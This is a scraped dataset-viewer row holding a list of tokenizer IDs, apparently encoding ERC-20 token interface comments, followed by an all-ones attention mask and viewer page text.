19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.